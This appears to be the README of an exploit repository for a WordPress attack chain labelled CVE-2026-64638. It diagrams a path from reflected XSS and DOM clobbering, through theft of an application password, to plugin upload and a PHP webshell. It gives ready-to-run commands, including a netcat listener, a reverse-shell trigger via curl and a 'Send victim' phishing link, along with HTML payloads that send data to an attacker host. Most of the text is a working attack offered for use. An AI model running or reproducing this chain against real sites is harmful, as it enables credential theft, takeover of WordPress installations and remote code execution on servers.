┌─────────────────────────────────────────────────────────────────┐
│  [1] XSS (Reflected)                                            │
│      wp-login.php reflects <area id=ajaxurl> in username error   │
│                          ↓                                       │
│  [2] DOM Clobbering                                             │
│      <area id=ajaxurl> hijacks wp-admin JS → auto-submits form   │
│                          ↓                                       │
│  [3] Application Password Theft                                 │
│      XSS redirects victim to authorize-application.php           │
│      success_url callback captures app password                  │
│                          ↓                                       │
│  [4] REST API Plugin Activation                                 │
│      App password → Basic Auth → wp-json/wp/v2/plugins → active  │
│                          ↓                                       │
│  [5] Webshell RCE                                               │
│      Plugin PHP webshell → uid=33(www-data)                      │
│      Reverse shell also available                                │
└─────────────────────────────────────────────────────────────────┘

pip3 install requests

# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638

# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com

python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com

# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com

# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000

# Send victim: http://192.168.1.100:8000/trigger_target.com.html

python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com

# In one terminal
nc -lvnp 4444

# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com

curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'

XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py              # Main exploit script (dual-mode)
├── poc.py                       # Original PoC (for reference)
├── trigger_192.168.0.87.html    # Example trigger page
└── README.md                    # This file

< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>